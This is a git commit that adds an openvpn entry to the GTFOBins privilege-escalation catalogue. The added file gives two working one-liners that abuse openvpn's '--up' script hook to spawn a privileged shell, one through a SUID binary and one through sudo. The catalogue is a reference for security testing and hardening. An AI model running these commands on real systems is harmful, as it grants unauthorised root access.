Add openvpn

This commit is contained in:
Emanuel Duss 2021-02-20 00:33:43 +01:00 committed by GitHub
parent 47bc7c0ae5
commit ad35aaa5d8
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

10
_gtfobins/openvpn.md Normal file
View File

@ -0,0 +1,10 @@
---
functions:
suid:
- code: |
./openvpn --dev tun0 --script-security 2 --up '/bin/sh -p -c "sh -p"'
sudo:
- code: |
COMMAND='id'
sudo openvpn --dev tun0 --script-security 2 --up '/bin/sh -c sh'
---